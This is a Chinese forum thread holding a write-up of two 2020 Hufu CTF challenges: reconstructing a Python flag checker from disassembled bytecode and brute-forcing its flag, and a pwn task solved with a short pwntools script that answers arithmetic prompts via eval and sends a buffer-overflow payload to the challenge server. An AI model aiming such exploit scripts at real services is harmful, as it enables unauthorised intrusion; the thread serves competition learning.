Navigation

    喵了个咪乎

    • Register
    • Login
    • Search
    • Categories
    • Recent
    • Tags
    • Popular
    • Users
    • Groups

    2020虎符CTF记录

    学习打卡区
    3
    3
    16
    Loading More Posts
    • Oldest to Newest
    • Newest to Oldest
    • Most Votes
    Reply
    • Reply as topic
    Log in to reply
    This topic has been deleted. Only users with topic management privileges can see it.
    • B
      Bi0x last edited by

      • 直接去博客看
      • 太顶了,实力还是 8 行
      • 有机会还是想补补题

      Re - game

      • 给了个 Python 反汇编出来的字节码文件,要基于其获取 Python 源码
        • 这里是文件
      • 快 400 行,还行,可读性比汇编好多了...
      • 刚开始以为有轮子,找了半天没轮子,直接硬逆了
      • 比较需要注意的地方有挺多的,首先开始的三个 arr 列表不能抄错了
        • 是的我抄错了,后面 debug 了好久
      # <genexpr> line 6 of game.py
      
         6       0  LOAD_FAST             0  '.0'
                 3  FOR_ITER             32  'to 38'
                 6  STORE_FAST            1  'x'
                 9  LOAD_GLOBAL           0  'ord'
                12  LOAD_FAST             1  'x'
                15  CALL_FUNCTION_1       1  None
                18  LOAD_GLOBAL           1  'range'
                21  LOAD_CONST               32
                24  LOAD_CONST               128
                27  CALL_FUNCTION_2       2  None
                30  COMPARE_OP            6  in
                33  YIELD_VALUE
                34  POP_TOP
                35  JUMP_BACK             3  'to 3'
                38  LOAD_CONST               None
                41  RETURN_VALUE
      
      • 第一个需要注意的地方是 check0,那个 genexpr 是怎么写的不太懂

        • 猜测是检查字符串中的每个字符的 ascii 是否都在 range(32, 128) 里
        • 因为其中也没有涉及到运算符,故没有深究
      • 至于 check2 函数是怎么计算出这六位的,猜测其以 flag{ 开头,能直接计算出第六位是 5

      • check3 是比较麻烦的了,上来一个 map 函数没反应过来,以为是 map(ord(s))

        • 其实注意看的话会发现,此处值 CALL_FUNCTION_2 了一次
        • 故明白其实是调用了有两个参数的函数,那应该是 map(ord,s) 了
        21       0  LOAD_GLOBAL           0  'map'
                 3  LOAD_GLOBAL           1  'ord'
                 6  LOAD_FAST             0  's'
                 9  CALL_FUNCTION_2       2  None
                12  STORE_FAST            1  'arr'
      
      • 还有个需要注意的是第 26 行的切片
        • 它是获取 flag 倒数第五位到倒数第二位的字符串反向的形式,这个问题也卡了我好久
        • 实际代码应该为 b = arr[-2:33:-1] * 5,相同的字符串拼接五次
        26      99  LOAD_FAST             1  'arr'
               102  LOAD_CONST               -2
               105  LOAD_CONST               33
               108  LOAD_CONST               -1
               111  BUILD_SLICE_3         3
               114  BINARY_SUBSCR
               115  LOAD_CONST               5
               118  BINARY_MULTIPLY
               119  STORE_FAST            4  'b'
      
      • check3 里的 c 就是把 b 与 arr[7:27] 下标对应位异或,没什么难点
        • 里面有个 lambda 函数 lambda x: x[0]^x[1]
        27     122  LOAD_GLOBAL           0  'map'
               125  LOAD_LAMBDA              '<code_object <lambda>>'
               128  MAKE_FUNCTION_0       0  None
               131  LOAD_GLOBAL           6  'zip'
               134  LOAD_FAST             4  'b'
               137  LOAD_FAST             1  'arr'
               140  LOAD_CONST               7
               143  LOAD_CONST               27
               146  SLICE+3
               147  CALL_FUNCTION_2       2  None
               150  CALL_FUNCTION_2       2  None
               153  STORE_FAST            5  'c'
               
      		 ......
      
      # <lambda> line 27 of game.py
      
        27       0  LOAD_FAST             0  'x'
                 3  LOAD_CONST               0
                 6  BINARY_SUBSCR
                 7  LOAD_FAST             0  'x'
                10  LOAD_CONST               1
                13  BINARY_SUBSCR
                14  BINARY_XOR
                15  RETURN_VALUE
                
      
      • 故完整代码如下
      arr0 = [249, 91, 149, 113, 16, 91, 53, 41]
      arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60]
      arr2 = [90, 100, 87, 109, 86, 108, 105, 90, 104, 88, 102]
      
      def check0(s): # 检测所有字符的 ascii 码在不在 range(32, 128) 里
          return True # 生成器逆不出来了
      
      def check1(s):
          if len(s) < 100:
              if (len(s) * len(s) % 777) ^ 233 == 513:
                  return True
          return False
      
      
      def check2(s):
          if (((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128 + ord(s[5])) == 3533889469877L:
              if ord(s[-1]) == 125:
                  return True
          return False
      def check3(s):
          arr = map(ord, s)
          a = arr[6:30:3]
          for i in range(len(a)):
              if (a[i] * 17684 + 372511) % 257 != arr0[i]:
                  return False
          b = arr[-2:33:-1] * 5 # 倒数第五位到倒数第二位,注意是反过来的
          c = map(lambda x:x[0]^x[1], zip(b, arr[7:27])) # b 与 arr 每对应位异或
          if c != arr1:
              return False
          p = 0
          for i in range(28, 34):
              if (arr[i] + 107) / 16 + 77 != arr2[p] and ((arr[i] + 117) % 16) + 99 != arr2[p + 1]:
                  return False
              p = p + 2
          return True
      
      
      flag = raw_input()
      if check0(flag) and check1(flag) and check2(flag) and check3(flag):
          print 'ok'
      else:
          print 'no'
      
      
      • 然后就是计算 flag 了,刚开始没认真看以为是密码题,其实就是简单逆向

      • 长度很好处理,计算完得到 39

      for i in range(100):
          if (i * i % 777) ^ 233 == 513:
              print i
      
      • 然后是第六位字符,也很好处理,是 5
      s = 'flag{'
      res = 3533889469877L
      print res - ((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128
      print chr(53)
      
      • 之后要计算八位的特定位字符,这个挺关键的,用于计算后面那个加密的 key
      arr0 = [249, 91, 149, 113, 16, 91, 53, 41]
      flag = 'flag{5aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'
      for j in range(len(arr0)):
          for i in range(32, 128):
              if (i * 17684 + 372511) % 257 == arr0[j]:
                  flag = flag[0:6 + j * 3] + chr(i) + flag[6 + j * 3 + 1:]
      print flag
      #flag{5Laa5aaxaaiaaVaa5aaPaaKaaaaaaaaaa}
      
      • 根据上面得到的几位特殊位置的字符,可以计算出下标7到26的字符
        • 注意 b 是根据上面的字符推算的,而且是反过来的
      arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60]
      b = [113, 70, 51, 117] * 5
      flag2 = ''
      for i in range(len(arr1)):
          flag2 += chr(arr1[i] ^ b[i])
      print flag2 #ZG50ex5Yi75VqE5YePLI
      print map(chr, b) #qF3u 实际上是 u3Fq
      # flag{5LZG50ex5Yi75VqE5YePLIKaaaaaaqF3u}
      
      • 最后差六位的 flag,直接根据 arr3 爆破就好了
      arr2 = [90, 100, 87, 109, 86, 108, 86, 105, 90, 104, 88, 102]
      p = 0
      flag3 = ''
      for j in range(6):
          for i in range(32, 128):
              if (i + 107) / 16 + 77 == arr2[p] and ((i + 117) % 16) + 99 == arr2[p + 1]:
                  flag3 += chr(i)
          p = p + 2
      print flag3 # 'l541pN'
      flag = 'flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq}'
      

      Pwn - count

      • 这题相对简单了,溢出点就在计算了 200 次的结果处
      • 直接借用 python 的 eval 函数,用 pwntools 获取需要计算的计算式
      • 半分钟就做完了,然后计算下偏移量 100,溢出覆盖就好了
      from pwn import *
      io = remote('39.97.210.182', 40285)
      
      for i in range(200):
          io.recvuntil('Math: ')
          str1 = io.recvuntil(' = ???', drop=True)
          c =  eval(str1)
          io.sendline(str(c))
      
      payload = 'a' * (0xDC - 0x78) + p64(304305682)
      io.sendline(payload)
      io.interactive()
      
      
      1 Reply Last reply Reply Quote 0
      • 沈
        沈聚贤 last edited by

        鱼大佬真的是TQL

        1 Reply Last reply Reply Quote 0
        • S
          scsh last edited by

          👍 tql

          1 Reply Last reply Reply Quote 0
          • First post
            Last post